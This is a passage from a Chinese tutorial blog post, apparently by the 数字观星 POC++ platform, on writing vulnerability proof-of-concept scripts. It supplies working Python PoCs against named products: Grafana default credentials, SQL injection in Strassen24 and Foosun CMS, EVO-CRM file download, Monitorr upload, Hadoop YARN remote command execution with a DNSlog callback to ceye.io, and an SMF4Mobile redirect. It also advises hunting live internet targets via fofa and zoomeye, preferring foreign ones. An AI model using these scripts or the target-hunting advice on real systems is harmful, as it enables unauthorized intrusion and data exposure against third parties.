print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("http://111.111.111.111/")3、默认密码漏洞案例:
这里我们找Grafana可视化工具后台管理默认账号密码,实际测试grafana默认用户名密码为经典的admin/admin。找一个实例测试,登录之后,点击"Skip"就可以进入后台。
浏览器f12查看请求包发现是将账号密码的payload{"user":"admin","password":"admin"}通过post方式到URL:/login,成功之后会返回{"message":"Loggedin","redirectUrl":"/"},而且会设置cookie,也就是响应头的Set-Cookie,经过观察Set-Cookie里的必要字段为grafana_session或者为grafana_sess,这个可以作为应用指纹,也可以作为登录成功的判断。所以我们的POC可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/json"
}
action = "/login"
payload = '{"user":"admin","password":"admin"}'
target = target.rstrip("/")
verfy_url = target + action
resp = req.post(verfy_url, data=payload, headers=headers, timeout=30, verify=False, allow_redirects=False)
if (resp.status_code == 200 and "grafana_session" in resp.headers["Set-Cookie"]) or (
resp.status_code == 200 and "grafana_sess" in resp.headers["Set-Cookie"]):
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("http://111.111.111.111/")
4、SQL注入
漏洞案例:
这里我们通过注入sql语句效果有没有直接回显数据和不回显数据案例编写poc。
(1)回显:有显示位的时候可以使用联合注入注出数据,如果报错信息功能未关可以使用报错注入注出数据。以Strassen24Panomizer Objects.php参数TypeCategoryId存在SQL注入为示例。漏洞详情链接:
https://cxsecurity.com/issue/WLB-2020030142
直接使用漏洞详情提供的测试url测试。
漏洞链接为
/php/Objects.php?Action=ChangeCategory&TypeCategoryId=1,
这里通过updatexml函数报错注入注出数据,执行一个md5加密就好,
payload:/php/Objects.php?
Action=ChangeCategory&TypeCategoryId=1%20and%20updatexml(1,md5(996),1)%20--+:
响应没有特定指纹,一次请求,响应足够特殊所以不再请求匹配指纹。执行md5加密数据时,可以加上随机字符串加密,然后再判断md5是否在响应内容,这个可以自己加。所以我们的poc可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
payload="/php/Objects.php?Action=ChangeCategory&TypeCategoryId=1%20and%20updatexml(1,md5({}),1)%20--+".format(996)
resp1 = req.get(target+payload, headers=headers, timeout=30, verify=False, allow_redirects=False)
if "b8aff0438617c055eb55f0ba5d226fa" in resp1.text and resp1.status_code == 200:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("https://111.111.111.111")(2)不回显:
注意:延时注入要产品特征匹配降低误报率
SQL注入有时候没有直接回显数据,但是可以注入,在编写poc可以使用延时判断是否存在sql注入漏洞,以风讯(foosun)CMS.net版本
/user/City_ajax.aspx 文件Cityid 参数SQL注入漏洞为示例。经测试该注入点支持堆叠注入,所以延时5秒的payload为
/user/City_ajax.aspx?Cityid=1'WAITFOR DELAY '0:0:5'-- q,
直接在互联网上找到一个实例测试:
响应内容没有明显的指纹信息,在首页有明显的指纹For Foosun Inc,所以再请求首页匹配指纹。在poc中判断是否存在注入可以通过两个payload的时间差判断:大于等于4.5秒。所以我们的POC可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
resp1 = req.get(target, headers=headers, timeout=30, verify=False, allow_redirects=False)
if "For Foosun Inc" in resp1.text and resp1.status_code == 200:
payload1 = "/user/City_ajax.aspx?Cityid=1%27%20WAITFOR%20DELAY%20%270:0:0%27--%20q"
payload2 = "/user/City_ajax.aspx?Cityid=1%27%20WAITFOR%20DELAY%20%270:0:5%27--%20q"
resp2 = req.get(url=target + payload1, headers=headers, verify=False, timeout=30)
stime1 = resp2.elapsed.total_seconds()
resp3 = req.get(url=target + payload2, headers=headers, verify=False, timeout=30)
stime2 = resp3.elapsed.total_seconds()
if resp1.status_code == resp2.status_code == 200 and stime2 - stime1 >= 4.5:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("http://111.111.111.111/") 5、文件读取、文件下载、遍历、文件包含漏洞案例:
漏洞上验证都差不多,取系统的必要文件做证明即可。应用的系统可能大部分为windows或者linux,所以编写POC的时候要考虑这两个系统,其他系统可以自行考虑是否加入。windows可以取c:/windows/system.ini,linux可以取/etc/passwd,其他的低权限可读的系统必要文件也可以。以EVO-CRM Script v1.02任意文件下载漏洞为例,详情漏洞链接:
https://cxsecurity.com/issue/WLB-2020030066,使用漏洞详情里的漏洞url测试:
漏洞url为/download.php?nome_file=,nomefile参数为下载文件参数,
`include/applicationtop.php的存在EVO-CRM的指纹,所以可以直接下载这个文件作为证明。这里下载也可以下载系统文件,但是可能要多请求一次匹配指纹,这里优先下载存在指纹信息的文件
include/application_top.php`,所以poc可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
action = "/download.php?nome_file=include/application_top.php"
verfy_url = target + action
resp = req.get(verfy_url, headers=headers, timeout=30, verify=False, allow_redirects=False)
if resp.status_code == 200 and 'EVO-CRM - Content Relationship Management' in resp.text and "mysql_evocms_fetch_object" in resp.text:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("https://111.111.111.111/")6、文件上传
漏洞案例:
以Monitorr 1.7.6 存在文件上传漏洞为示例,漏洞详情
https://www.exploit-db.com/exploits/48980。
漏洞详情中可以看到/assets/php/upload.php未授权且过滤被绕过,可直接上传php文件执行php代码。前几天有个小伙伴已经写好交到我们的POC平台,所以POC可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
filename = '123123123123.php'
code = "GIF89a213213123456"
files = {'fileToUpload': (filename, code, 'Content-Type: image/gif')}
action1="/assets/php/upload.php"
resp1 = req.post(target+action1,headers=headers, verify=False, timeout=30, allow_redirects=False,files=files)
if resp1.status_code == 200 and filename in resp1.text and 'has been uploaded' in resp1.text:
action2="/assets/data/usrimg/{}".format(filename)
resp2 = req.get(target+action2, verify=False)
if resp2.status_code == 200 and "0b8aff0438617c055eb55f0ba5d226fa" in resp2.text:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("http://111.111.111.111/") 7、代码、命令执行
漏洞案例:
以Hadoop YARN ResourceManager 未授权访问导致远程命令执行漏洞作为漏洞演示,漏洞原理链接:
http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf。
漏洞复现以及exp脚本可查看:
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/,这里我们直接引用里面的exp,修改执行命令,因为无回显,所以通过dnslogapi返回结果判断是否存在漏洞,dnslog api可以填写自己的。所以poc可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import random
import time
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
target=target.rstrip("/")
action1 = "/ws/v1/cluster/apps/new-application"
resp1 = req.post(target + action1, headers=headers, timeout=30, verify=False, allow_redirects=False)
app_id=0
try:
app_id = resp1.json()['application-id']
except Exception as e:
print e
return False
action2="/ws/v1/cluster/apps"
ceye_domain="{}.xxxxx.ceye.io".format(''.join(random.sample('abcdefghijklmnopqrstuvwxyz',5)))
ceye_api_token = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
data = {
'application-id': app_id,
'application-name': 'test',
'am-container-spec': {
'commands': {
'command': 'ping -c 1 %s' % ceye_domain
},
},
'application-type': 'YARN',
}
req.post(target+action2, json=data, headers=headers, timeout=30, verify=False, allow_redirects=False)
time.sleep(3)
ret=req.get("http://api.ceye.io/v1/records?token={}&type=dns&filter={}".format(ceye_api_token,ceye_domain)).json()["data"]
if ret:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("http://111.111.111.111/")8、URL跳转
漏洞案例:
url跳转拿SMF4Mobile 1.1.5 存在URL重定向漏洞作为漏洞演示,漏洞详情链接:
https://cxsecurity.com/issue/WLB-2019030006。
在漏洞详情里面可以看到可测试的url,漏洞链接为
index.php?thememode=mobile;redirect=,
redirect为要跳转的url参数,响应状态码为301或者302。
在编写url重定向漏洞POC的时候,poc请求里面不让其跳转,一次请求检查响应头的跳转或前端跳转代码即可。这个漏洞的url足够特殊,所以不需要再进行一次请求得到指纹匹配,所以POC可以为:
代码语言:javascript代码运行次数:0运行复制# coding:utf-8
import requests as req
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
action = "/index.php?thememode=mobile;redirect=https://cxsecurity.com/"
verfy_url = target + action
resp = req.get(verfy_url, headers=headers, timeout=30, verify=False, allow_redirects=False)
if resp.status_code in [301,302] and 'https://cxsecurity.com/' in resp.headers["Location"]:
print target + ",存在漏洞"
return True
return False
if __name__ == '__main__':
verify("https://111.111.111.111/")五、POC规范、POC框架将poc的格式等规范好放入一个框架内方便查看、使用,好处多多。POC框架有很多,常见开发语言是python、golang、ruby等,常见的POC框架有pocsuite、osprey、poc-t、kunpeng等。这里使用python2版本的pocsuite编写POC。
1、pocsuite介绍Pocsuite 是知道创宇安全研究团队打造的一款基于漏洞与 PoC 的漏洞验证框架。在获取到相关漏洞详情后,任何有一定 Python 开发基础的人都可以基于 Pocsuite 开发出对应漏洞的 PoC 或者 Exp ,轻而易举的就可以直接使用 Pocsuite 进行相关的验证和调用,而无需考虑底层代码架构等。
2、安装以及简单使用可通过pip install pocsuite安装,也可以直接git clone
https://github.com/knownsec/Pocsuite
下载使用。
简单常用命令:
python pocsuite.py -r tests/poc_example.py -uhttp://www.example.com/ --verify
-r 为poc路径,可以单个poc文件,也可以是poc文件夹,-u为验证url,--verify为执行poc验证函数
如有第三方模块可将对应的包放入pocsuite的thirdparty文件夹。
更多详细的用法:
https://github.com/knownsec/Pocsuite/blob/dev/docs/USAGE.md
3、POC编写步骤本地poc文件命名规范请查看:
https://github.com/knownsec/Pocsuite/blob/dev/docs/CODING.md#namedstandard
1)基础信息填写:
代码语言:javascript代码运行次数:0运行复制vulID = '1571' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = 'zhengdt' # PoC作者的大名
vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天
createDate = '2014-10-16'# 编写 PoC 的日期
updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称
appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址
appName = 'Drupal'# 漏洞应用名称
appVersion = '7.x'# 漏洞影响版本
vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表
desc = '''
Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
可以添加管理员、造成信息泄露。
''' # 漏洞简要描述
samples = []# 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写年轻人要讲"码徳",写清楚必要信息方便你我他,具体要求请看如下图片代码注释:
(有些字段是在如上基础信息添加的,越详细越好哈)还是要唠嗑一下,ID编号可加上vulID、cveID、cnvdID、cnnvdID变量字段,详细一点好,也可为空;author为你的大名ID都行;version为poc的版本,默认为1;日期变量字段有vulDate、createDate、updateDate,分别代表漏洞发现日期、poc编写日期、poc编写更改日期;name为当前poc名称;desc为poc的漏洞描述;solution为漏洞poc解决方案;severity为poc漏洞危害等级,高中低危害:high、medium、low;vulType为漏洞类型,如sql注入为SQL Injection,也可以缩写的sql-inj;taskType为任务类型,比如统称的应用漏洞可以填写为app-vul;references为参考引用,比可填上参考链接,没有则留空;appName为影响漏洞应用名称;appVersion为影响漏洞应用版本;appPowerLink为应用产品链接,可为空;samples为简单的线上、互联网上的测试案例网站或者说目标。
详细具体规范请查看:
https://github.com/knownsec/Pocsuite/blob/dev/docs/CODING.md
提交POC++平台可参照平台帮助中心:
https://poc.shuziguanxing.com/#/news#19-500000/19-500000/2-500000
2)编写模块与结果返回:
一个干净的py插件模板,按照如下模板填入基础信息,之后编写验证和攻击模块即可:
代码语言:javascript代码运行次数:0运行复制#!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
class TestPOC(POCBase):
vulID = ''
cveID = ''
version = ''
author = ['']
vulDate = ''
createDate = '2019-03-25'
updateDate = '2019-03-25'
references = ['']
name = ''
appPowerLink = ''
appName = ''
appVersion = ''
vulType = ''
desc = '''
'''
samples = ['']
install_requires = ['']
#请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段
def _attack(self):
result = {}
#Write your code here
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)4、以上常见漏洞POC类型编写测试用Coremail邮件系统配置文件信息泄露漏洞做为编写POC练习,示例代码,之后就可以按照文档微调即可。先填写基础信息,最后编写模块,结果返回输出函数copy即可,所以poc为:
代码语言:javascript代码运行次数:0运行复制#!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import sys
reload(sys)
sys.setdefaultencoding('utf8')
class TestPOC(POCBase):
vulID = '0'
version = '1'
author = 'guanxing'
vulDate = '2019-06-14'
createDate = '2020-11-30'
updateDate = '2020-11-30'
references = ['https://www.secpulse.com/archives/107611.html']
name = 'Coremail邮件系统配置文件信息泄露漏洞 POC'
appPowerLink = 'https://www.coremail.cn/'
appName = 'Coremail邮件系统'
appVersion = '*'
vulType = 'Information Disclosure'
desc = '''
Coremail mailsms接口配置存在未授权访问漏洞,可能导致敏感信息泄露。Coremail配置文件未授权访问的地址:/mailsms/s?func=ADMIN:appState&dumpConfig=/
'''
samples = ["http://111.111.111.111","http://222.222.222.222"]
def _attack(self):
result = {}
# Write your code here
return self.parse_output(result)
def _verify(self, verify=True):
result = {}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
payload = "/mailsms/s?func=ADMIN:appState&dumpConfig=/"
verify_url = self.url + payload
resp = req.get(verify_url, headers=headers, timeout=30, verify=False, allow_redirects=False)
if resp.status_code == 200 and 'coremail' in resp.text and '' in resp.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Payload'] = payload
return self.parse_output(result)
def parse_output(self, result):
# parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)常见基础POC可以按照如上的模板进行微调改写,欢迎将POC提交至我们的POC平台获取奖励。
六、如何提交POC到数字观星POC平台先上链接:
https://poc.shuziguanxing.com/。
没有注册的小伙伴可以注册一下,奖励多多。可以先查看帮助中心,里面有详细的提交步骤等文档。
可以加入我们的POC、指纹刷分群,有小哥哥24小时在线为你解答:
如果加不上,可添加如下小哥哥微信方便入群:
我们的兑换礼品商城,暂时有如下商品,欢迎入群唠嗑:
七、如何刷POC赚奖励赚钱什么?poc还能刷?是的,和刷漏洞一样,很多安全公司都收POC,比如数字观星。
1、找漏洞之常用漏洞公开平台:对于白帽子而言,PoC/Exp资源库就是我们的军火库,军火不行怎么上战场?
推荐漏洞公开平台:
(1)微信公众号、博客文章推荐一个平台:
http://wechat.doonsec.com/wechat_github/
里面收集了很多的安全公众号,每天也可以查看文章,有时候公众号复现之后还会提供测试目标的dork语法方便查找目标和docker靶机。
(2)github现在大部分的白帽子都喜欢在github公开漏洞利用,搜索一下可能有惊喜。
链接:https://github.com/。
这里提供一个思路,采集大量的cve编号和利用相关关键字搜索或者监控每天更新的cve编号+相关关键字搜索poc,这样可以刷大量poc。注意:需要注意的是可能会出现”假货“,看到exp/poc等可执行的脚本,有能力的先看看代码别着急运行,看不懂可以丢虚拟机运行,不然下一秒就是”有主机请求上线!“
(3)exp-db面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况。链接:
http://www.exploit-db.com/
(4)shodanshodan:一款国外的网络空间搜索引擎,它也会收集一些exp,链接:
https://exploits.shodan.io/?q=*
(5)packetstorm很多exp的老牌安全网站,链接:
https://packetstormsecurity.com/files/tags/exploit/
(6)0day.today链接:https://0day.today/(打不开请自行解决)
(7)cxsecurity.com里面会公开一些漏洞,漏洞详情里面有时候会有直接测试的漏洞链接,
链接:https://cxsecurity.com/
(8)seebug知道创宇的漏洞平台
链接:https://www.seebug.org/
(9)其他• http://www.openwall.com/lists/oss-security/
• https://www.vulnerability-lab.com/
• https://www.exploit-database.net/
• http://www.expku.com/
• 推特
• 论坛
• 0组(可惜是要登录的)
• 白泽文库
• 博客
• 等等
2、找漏洞之从关键字出发:"捡洞"玩法:拿一个案例来说:在cnvd提交漏洞,有时候白帽子会填写xxxxx系统shxxxxx.php存在sql注入,cnvd发布漏洞的漏洞标题就可能是xxxxx系统shxxxxx.php存在sql注入。这时候就可以往回找,搜索引擎:intext:"xxxxx系统",可以找到线上目标或者官网的案例展示,看到类似的就可以尝试测试,最后就是类似漏洞链接、点发现。这里推荐平台:
https://www.anquanke.com/vul
https://www.cnvd.org.cn/
3、漏洞复现之找目标和docker靶机通常找目标可以是fofa、zoomeye、google等搜索引擎,也可以寻找docker或者编写docker漏洞环境,这里推荐fofa、zoomeye、google寻找线上目标,原则:国外目标优先、点到为止。
八、结语编写POC可以提高对漏洞原理的理解,一定程度上提高了编程开发能力,还可以规范自己的武器库,在做渗透测试项目的时候更加得心应手。学习的过程,有开始的输入也要有输出形成闭环,学习最好的方式是分享。POC++平台作为一个POC运营的平台,除了提供奖励之外,更重要的一点,是提供了一个白帽交流POC的平台。随着越来越多的白帽朋友加入平台,提交各种各样的POC,当白帽在工作需要查找漏洞的时候,POC++平台可以很好地提供相应的漏洞信息和POC,这也是我们为之骄傲的一点。
数字观星POC++平台感谢已经加入平台的用户所做出的贡献的同时,热烈盼望新鲜血液的流进。
快加入我们吧,POCer。